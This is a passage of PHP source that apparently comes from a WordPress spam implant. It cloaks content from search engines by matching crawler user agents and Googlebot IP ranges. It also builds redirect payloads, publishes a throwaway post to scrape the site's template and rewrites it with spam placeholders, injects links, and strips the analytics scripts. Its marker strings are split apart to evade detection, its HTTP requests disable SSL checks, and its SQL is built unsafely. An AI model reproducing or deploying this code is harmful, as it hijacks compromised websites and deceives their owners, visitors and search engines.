sk\s*Jeeves#i', '#HP\s*Web\s*PrintSmart#i', '#HTTrack#i', '#IDBot#i', '#Indy\s*Library#', '#ListChecker#i', '#MSIECrawler#i', '#NetCache#i', '#Nutch#i', '#RPT-HTTPClient#i', '#rulinki\.ru#i', '#Twiceler#i', '#WebAlta#i', '#Webster\s*Pro#i', '#www\.cys\.ru#i', '#Wysigot#i', '#Yahoo!\s*Slurp#i', '#Yeti#i', '#Accoona#i', '#CazoodleBot#i', '#CFNetwork#i', '#ConveraCrawler#i', '#DISCo#i', '#Download\s*Master#i', '#FAST\s*MetaWeb\s*Crawler#i', '#Flexum\s*spider#i', '#Gigabot#i', '#HTMLParser#i', '#ia_archiver#i', '#ichiro#i', '#IRLbot#i', '#Java#i', '#km\.ru\s*bot#i', '#kmSearchBot#i', '#libwww-perl#i', '#Lupa\.ru#i', '#LWP::Simple#i', '#lwp-trivial#i', '#Missigua#i', '#MJ12bot#i', '#msnbot#i', '#msnbot-media#i', '#Offline\s*Explorer#i', '#OmniExplorer_Bot#i', '#PEAR#i', '#psbot#i', '#Python#i', '#rulinki\.ru#i', '#SMILE#i', '#Speedy#i', '#Teleport\s*Pro#i', '#TurtleScanner#i', '#User-Agent#i', '#voyager#i', '#Webalta#i', '#WebCopier#i', '#WebData#i', '#WebZIP#i', '#Wget#i', '#Yandex#i', '#Yanga#i', '#Yeti#i', '#msnbot#i', '#spider#i', '#yahoo#i', '#jeeves#i', '#googlebot#i', '#altavista#i', '#scooter#i', '#av\s*fetch#i', '#asterias#i', '#spiderthread revision#i', '#sqworm#i', '#ask#i', '#lycos.spider#i', '#infoseek sidewinder#i', '#ultraseek#i', '#polybot#i', '#webcrawler#i', '#robozill#i', '#gulliver#i', '#architextspider#i', '#yahoo!\s*slurp#i', '#charlotte#i', '#bingbot#i');
$stop_ips_masks = array("66\.249\.[6-9][0-9]\.[0-9]", "74\.125\.[0-9]\.[0-9]", "65\.5[2-5]\.[0-9]\.[0-9]", "74\.6\.[0-9]\.[0-9]", "67\.195\.[0-9]\.[0-9]", "72\.30\.[0-9]\.[0-9]", "38\.[0-9]\.[0-9]\.[0-9]", "93\.172\.94\.227", "212\.100\.250\.218", "71\.165\.223\.134", "70\.91\.180\.25", "65\.93\.62\.242", "74\.193\.246\.129", "213\.144\.15\.38", "195\.92\.229\.2", "70\.50\.189\.191", "218\.28\.88\.99", "165\.160\.2\.20", "89\.122\.224\.230", "66\.230\.175\.124", "218\.18\.174\.27", "65\.33\.87\.94", "67\.210\.111\.241", "81\.135\.175\.70", "64\.69\.34\.134", "89\.149\.253\.169", "104\.132\.8\.69");
foreach ($stop_ips_masks as $k => $v) {
if (preg_match('#^' . $v . '$#', $ip)) {
$is_bot = "bot";
}
}
if (empty($is_bot) && strpos("qqq" . preg_replace($user_agent_to_filter, '-ANGRYBOT-', $ua), '-ANGRYBOT-')) {
$is_bot = "bot";
}
if ($is_bot == "bot") {
return $is_bot;
}
if (!empty($forlinks)) {
return "";
}
if (!empty($plainred)) {
if (!empty($plainredurl)) {
$plainred = str_ireplace("[REDIRECTURL]", $plainredurl, $plainred);
}
$plainred = str_ireplace("[DEFISKEY]", str_ireplace(" ", "-", $keyword), $plainred);
$plainred = str_ireplace("[SPACEKEY]", $keyword, $plainred);
$plainred = str_ireplace("[CURRURL]", $url_curr, $plainred);
$plainred = str_ireplace("[REFERER]", $referrer, $plainred);
$plainred = str_ireplace("[MULTIKEYREDIRECT]", $key1, $plainred);
return $plainred;
} else {
return "";
}
}
return "";
}
function updateBDData($tablename, $data, $value, $uslovie, $dbhost, $dbname, $dbuser, $dbpass, $dbport)
{
$dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport);
if (!$dbcon) {
return false;
} else {
$sql = "UPDATE " . $tablename . " SET $value='" . $data . "' WHERE " . $uslovie . "";
if (mysqli_query($dbcon, $sql)) {
mysqli_close($dbcon);
return "yes";
} else {
mysqli_close($dbcon);
return false;
}
}
}
function placeLinks($pageurl, $links)
{
$page = httpGet($pageurl);
if (!empty($page)) {
$page = preg_replace("/(
)/", "\$1" . $links, $page, 1);
return $page;
} else {
return "";
}
}
function randomValuesFromTableById($tablename, $value, $count, $dbhost, $dbname, $dbuser, $dbpass, $dbport)
{
$dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport);
if (!$dbcon) {
return "udfgoihdkh48sied";
} else {
$sql = "SELECT " . $value . " FROM " . $tablename . " WHERE wpk IS NOT NULL ORDER BY RAND() LIMIT " . $count;
$needvalue = mysqli_query($dbcon, $sql);
$res = array();
$out = array();
$value = explode(",", $value);
while ($row = mysqli_fetch_array($needvalue)) {
foreach ($value as $k => $onevalue) {
$onevalue = trim($onevalue);
$res[$onevalue] = $row[$onevalue];
}
$out[] = $res;
}
mysqli_close($dbcon);
return $out;
}
}
function getCountofTable($tablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport)
{
$dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport);
if (!$dbcon) {
return false;
} else {
$sql = "SELECT COUNT(1) FROM " . $tablename;
$count = mysqli_query($dbcon, $sql);
$count = mysqli_fetch_array($count);
mysqli_close($dbcon);
if (!empty($count[0])) {
return $count[0];
} else {
return "no";
}
}
}
function deleteLinesFmDB($tablename, $uslovie, $dbhost, $dbname, $dbuser, $dbpass, $dbport)
{
$dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport);
if (!$dbcon) {
return false;
} else {
$sql = "DELETE FROM " . $tablename . " WHERE " . $uslovie;
mysqli_query($dbcon, $sql);
mysqli_close($dbcon);
return "yes";
}
}
function randomUA()
{
$uas = array("Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)");
$uas = shuffleArr($uas);
return $uas[0];
}
function shuffleArr($arr)
{
srand((float)microtime() * 1000000);
shuffle($arr);
return $arr;
}
function parseTemplate()
{
$slugname = randString(8);
$post_data = array("post_title" => "[HER" . "EISP" . "OSTTI" . "TLE]", "post_name" => $slugname, "post_content" => "[HERE" . "ISC" . "ONT" . "ENT]", 'post_status' => 'publish', 'post_category' => array());
$post_id = wp_insert_post($post_data, true);
$permalink = get_permalink($post_id);
$permalink = str_ireplace('http://', '', $permalink);
$permalink = str_ireplace('https://', '', $permalink);
if (is_ssl() === false) {
$permalink = "http://" . $permalink;
} else {
$permalink = "https://" . $permalink;
}
$sitecode = httpGet($permalink);
$permalink = trim($permalink, "/");
if (stripos("qqq" . $permalink, "?p=")) {
$urlfrchpu = str_ireplace("?p=" . $post_id, "?p=chpukeyplace", $permalink);
} else {
$urlfrchpu = str_ireplace($slugname, "chpukeyplace", $permalink);
}
wp_delete_post($post_id, true);
if (!empty($sitecode)) {
$regular = "|(.*)<\/title>|iUs";
preg_match_all($regular, $sitecode, $matches);
if (!empty($matches[1])) {
$matches[1] = array_unique($matches[1]);
foreach ($matches[1] as $pagetitlemain) {
$sitecode = str_ireplace($pagetitlemain, '[HE' . 'REI' . 'SPAG' . 'ETI' . 'TLE]', $sitecode);
}
}
$regular = "|(.*)|iUs";
preg_match_all($regular, $sitecode, $matches);
if (!empty($matches[1])) {
$matches[1] = array_unique($matches[1]);
srand((float)microtime() * 1000000);
shuffle($matches[1]);
if (count($matches[1]) >= 2) {
$counth = count($matches[1]) / 2;
$counth = floor($counth);
$matches[1] = array_slice($matches[1], 0, $counth - 1);
}
foreach ($matches[1] as $htagmain) {
$sitecode = str_ireplace($htagmain, '[HE' . 'R' . 'EI' . 'SH' . 'TAG]', $sitecode);
}
}
$regular = "|(.*)<\/a>|iUs";
preg_match_all($regular, $sitecode, $matches);
if (!empty($matches[1])) {
$all_links = $matches[0];
$atagarray = array_combine($matches[2], $matches[1]);
$atagarray = array_unique($atagarray);
foreach ($atagarray as $anchor => $url) {
if (stripos("qqq" . $url, "feed") || stripos("qqq" . $url, "wp-login") || stripos("qqq" . $url, "#") || (stripos("qqq" . $anchor, "<") && stripos("qqq" . $anchor, ">"))) {
unset($atagarray[$anchor]);
}
}
srand((float)microtime() * 1000000);
shuffle($atagarray);
if (count($atagarray) >= 3) {
$counta = count($atagarray) / 3;
$counta = floor($counta);
$atagarray = array_slice($atagarray, 0, $counta - 1);
}
foreach ($all_links as $atagmain) {
foreach ($atagarray as $url) {
if (stripos("qqq" . $atagmain, $url)) {
$atagtoreplace = preg_replace("/href=[\"']+.*[\"']+/iUs", "href=\"[H" . "ER" . "EIS" . "AT" . "AGL" . "INK]\"", $atagmain);
$atagtoreplace = preg_replace("/>.*<\/a>/iUs", ">[HE" . "REIS" . "AT" . "AGA" . "NCH" . "OR] ", $atagtoreplace);
$sitecode = str_ireplace($atagmain, $atagtoreplace, $sitecode);
}
}
}
}
$sitecode = str_ireplace($permalink, "#", $sitecode);
$sitecode = preg_replace("/ /iUs", "", $sitecode);
$sitecode = preg_replace("/ /iUs", "", $sitecode);
$sitecode = preg_replace("/ /iUs", "", $sitecode);
$sitecode = preg_replace("/ /iUs", "", $sitecode);
$sitecode = preg_replace("/ /iUs", "", $sitecode);
$sitecode = preg_replace("/ /iUs", "", $sitecode);
$sitecode = urlencode($sitecode);
$regular = "|(%3Cscript.*%3C%2Fscript%3E)|iUs";
preg_match_all($regular, $sitecode, $matches);
if (!empty($matches[1])) {
foreach ($matches[1] as $currgooglestat) {
if (stripos("qqq" . $currgooglestat, "google-analytics.com") || stripos("qqq" . $currgooglestat, "yandex.ru")) {
$sitecode = str_ireplace($currgooglestat, "", $sitecode);
}
}
}
if (!empty($sitecode)) {
$resultarray = array("chpu" => $urlfrchpu, "sitetemp" => $sitecode);
return $resultarray;
}
}
return false;
}
function httpGet($url)
{
if (stripos("qqq" . $url, "?")) {
$url = $url . "&ertthndxbcvs=yes";
} else {
$url = $url . "?ertthndxbcvs=yes";
}
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_USERAGENT, randomUA());
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 90);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
$output = curl_exec($ch);
curl_close($ch);
} else {
$output = file_get_contents($url);
}
return $output;
}
function httpPost($url, $params)
{
$params = rtrim($params, '&');
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, randomUA());
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
curl_setopt($ch, CURLOPT_TIMEOUT, 40);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
$output = curl_exec($ch);
curl_close($ch);
} else {
$output = file_get_contents($url, false, stream_context_create(array('http' => array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $params))));
}
return $output;
}
function readValueFromBD($tablename, $value, $uslovie, $dbhost, $dbname, $dbuser, $dbpass, $dbport)
{
$dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport);
if (!$dbcon) {
return "udfgoihdkh48sied";
} else {
if (!empty($uslovie)) {
$sql = "SELECT " . $value . " FROM " . $tablename . " where " . $uslovie;
} else {
$sql = "SELECT " . $value . " FROM " . $tablename;
}
$needvalue = mysqli_query($dbcon, $sql);
$needvalue = mysqli_fetch_array($needvalue);
if (!empty($needvalue)) {
if (!empty($uslovie)) {
if (stripos($value, ",")) {
$value = explode(",", $value);
$res = array();
foreach ($value as $onevalue) {
$onevalue = trim($onevalue);
$res[$onevalue] = $needvalue[$onevalue];
}
$needvalue = $res;
} else {
$needvalue = $needvalue[$value];
}
}
mysqli_close($dbcon);
return $needvalue;
} else {
mysqli_close($dbcon);
return "no";
}
}
}
function insertToBD($tablename, $cols, $data, $dbhost, $dbname, $dbuser, $dbpass, $dbport)
{
$dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport);
if (!$dbcon) {
return "udfgoihdkh48sied";
} else {
$sql = "INSERT INTO " . $tablename . " (" . $cols . ") VALUES (" . $data . ")";
if (mysqli_query($dbcon, $sql)) {
mysqli_close($dbcon);
return "yes";
} else {
mysqli_close($dbcon);
return "bewiursfer9uidd";
}
}
}
function mysqlTableSeekWP($tablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport)
{
$dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport);
if (!$dbcon) {
return "udfgoihdkh48sied";
}
$table_list = mysqli_query($dbcon, "SHOW TABLES FROM " . $dbname . "");
while ($row = mysqli_fetch_row($table_list)) {
if ($tablename == $row[0]) {
mysqli_close($dbcon);
unset($row);
unset($table_list);
return "yes";
}
}
mysqli_close($dbcon);
unset($row);
unset($table_list);
return "no";
}
function randString($length)
{
$str = "";
$chars = "abcdefghijklmnopqrstuvwxyz0123456789";
$size = strlen($chars);
for ($i = 0; $i < $length; $i++) {
$str .= $chars[rand(0, $size - 1)];
}
return $str;
}
function createTable($tablename, $fields, $idfield, $dbhost, $dbname, $dbuser, $dbpass, $dbport)
{
$dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport);
if (!$dbcon) {
return "udfgoihdkh48sied";
}
$table_list = mysqli_query($dbcon, "SHOW TABLES FROM " . $dbname . "");
while ($row = mysqli_fetch_row($table_list)) {
if ($tablename == $row[0]) {
mysqli_close($dbcon);
return "aawtr35tdgvvcsxdff";
}
}
unset($row);
unset($table_list);
$sql = "CREATE TABLE " . $tablename . " ($fields)";
mysqli_query($dbcon, $sql);
$sql = "ALTER TABLE " . $tablename . " add " . $idfield . " INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY FIRST";
mysqli_query($dbcon, $sql);
$table_list = mysqli_query($dbcon, "SHOW TABLES FROM " . $dbname . "");
while ($row = mysqli_fetch_row($table_list)) {
if ($tablename == $row[0]) {
mysqli_close($dbcon);
unset($row);
unset($table_list);
return "yes";
}
}
mysqli_close($dbcon);
return "bewiursfer9uidd";
}